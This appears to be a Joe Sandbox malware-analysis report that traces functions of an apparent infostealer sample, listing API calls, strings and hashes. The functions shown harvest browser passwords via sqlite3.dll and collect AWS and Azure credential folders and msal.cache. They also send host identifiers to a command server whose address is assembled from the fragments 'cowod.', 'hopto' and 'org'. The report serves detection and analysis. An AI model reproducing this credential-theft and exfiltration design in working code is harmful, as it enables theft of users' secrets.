Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AA0
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AF9
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B59
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BC8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BDE
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BF0
Sleep.KERNEL32(0000EA60), ref: 00416BFF

Strings

ERROR, xrefs: 00416AF1
ERROR, xrefs: 00416BD6
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416CAE
sqlp.dll, xrefs: 00416CCD
sqlp.dll, xrefs: 00416CFE
ERROR, xrefs: 00416BAA
.vA, xrefs: 00416D1D
ERROR, xrefs: 00416BE8
ERROR, xrefs: 00416BC0
sqlite3.dll, xrefs: 00416C9C
sqlite3.dll, xrefs: 00416C68
ERROR, xrefs: 00416A98
ERROR, xrefs: 00416B51
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416CDF

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Sleep
String ID: .vA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sqlite3.dll$sqlite3.dll$sqlp.dll$sqlp.dll
API String ID: 2840494320-4129404369
Opcode ID: a45e317464bf1edbde2a90d5a52dd523743f320969f0b5af628d37bda6730293
Instruction ID: 3295cb3038e640ef7bf1334207e300efc9412b34fd4a8ee3f001cefdb945b7ae
Opcode Fuzzy Hash: a45e317464bf1edbde2a90d5a52dd523743f320969f0b5af628d37bda6730293
Instruction Fuzzy Hash: A9915F31E40119ABCF10FBA6ED47ACC7770AF04308F51502BF915B7191DBB8AE898B98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: e79cd5a6fe499fb7965201bd0776ad43c7a927167085e3e7bd657c15f75794a8
Instruction ID: 9a12f6b0eacbcb2ed4cda68e664cf834d7366407d3e9ed4d657f0b87806d2d42
Opcode Fuzzy Hash: e79cd5a6fe499fb7965201bd0776ad43c7a927167085e3e7bd657c15f75794a8
Instruction Fuzzy Hash: A2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

hwid, xrefs: 00404EAD
", xrefs: 00404ED9
", xrefs: 00405039
8wA, xrefs: 00405222
------, xrefs: 00404DFB
------, xrefs: 00404F5B
build_id, xrefs: 0040500D
------, xrefs: 00404C75

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$8wA$build_id$hwid
API String ID: 3006978581-858375883
Opcode ID: 34a212d76a3bfc79e74cf83c5d1317f3bdb29bc58600130ec353d97f1a3d475c
Instruction ID: 7219792e9a540e442724c4d24598c6325e7ae8fa207a63d5b21e459a2de286cb
Opcode Fuzzy Hash: 34a212d76a3bfc79e74cf83c5d1317f3bdb29bc58600130ec353d97f1a3d475c
Instruction Fuzzy Hash: C002C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

%s%s, xrefs: 004016B6
delays.tmp, xrefs: 004016A4

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 5943a0df419b2f97d08efb2acebaf1400ff012adf14d9747056922950aa0c363
Instruction ID: 11c0bd3ed3d7e6805384e8c578cb98533790a078e52b8311c5bcc7c05517a4c3
Opcode Fuzzy Hash: 5943a0df419b2f97d08efb2acebaf1400ff012adf14d9747056922950aa0c363
Instruction Fuzzy Hash: 2B41C8B1900218ABD7205F61AC4CF9F7B7DEB89715F1006BAF109E10A1DA354E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

Azure\.azure, xrefs: 00416531
\.aws\, xrefs: 00416589
msal.cache, xrefs: 0041661E
Azure\.IdentityService, xrefs: 00416619
\.IdentityService\, xrefs: 004165FD
\.azure\, xrefs: 00416512
*.*, xrefs: 00416536
*.*, xrefs: 004165AA
Azure\.aws, xrefs: 004165A5

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: 76b6cfcc2cbbf7bce573afa5f5241ca90d425f37a5191db5c0e06d16ae103776
Instruction ID: c1663bc4ae337e97e36098b0a6fa5269247debf2670cee4f463a309fb8bc2b96
Opcode Fuzzy Hash: 76b6cfcc2cbbf7bce573afa5f5241ca90d425f37a5191db5c0e06d16ae103776
Instruction Fuzzy Hash: 2741C671D4021C7BDB14EB61EC47FDD7378AB09308F5044AAB605B7090EAB9AB888F59

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: bd24911d9c6cfefd4e37482eb3b4265b0e4e890a277d74ec42a85d9c1a9561a1
Instruction ID: ea3aaa4254ea011307d5ff1151e45a3af1a32ea2cb92a891b43a4b7d07102f87
Opcode Fuzzy Hash: bd24911d9c6cfefd4e37482eb3b4265b0e4e890a277d74ec42a85d9c1a9561a1
Instruction Fuzzy Hash: E6C15D32904208AFDF15EFA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417041 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: RtlAllocateHeap.NTDLL(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041858F), ref: 004170DD
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004170EC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041760A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004176CB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004176E4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417744), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417A9A

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041858F), ref: 00417100

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417E31,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418000

Strings

org, xrefs: 00417EE7
bb7310eab4245006f125c442da2d1e50, xrefs: 0041770C
.exe, xrefs: 00417E04
http://, xrefs: 00417E57
cowod., xrefs: 00417E7B
hopto, xrefs: 00417E9F
.exe, xrefs: 00417549
_DEBUG.zip, xrefs: 00417F35

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
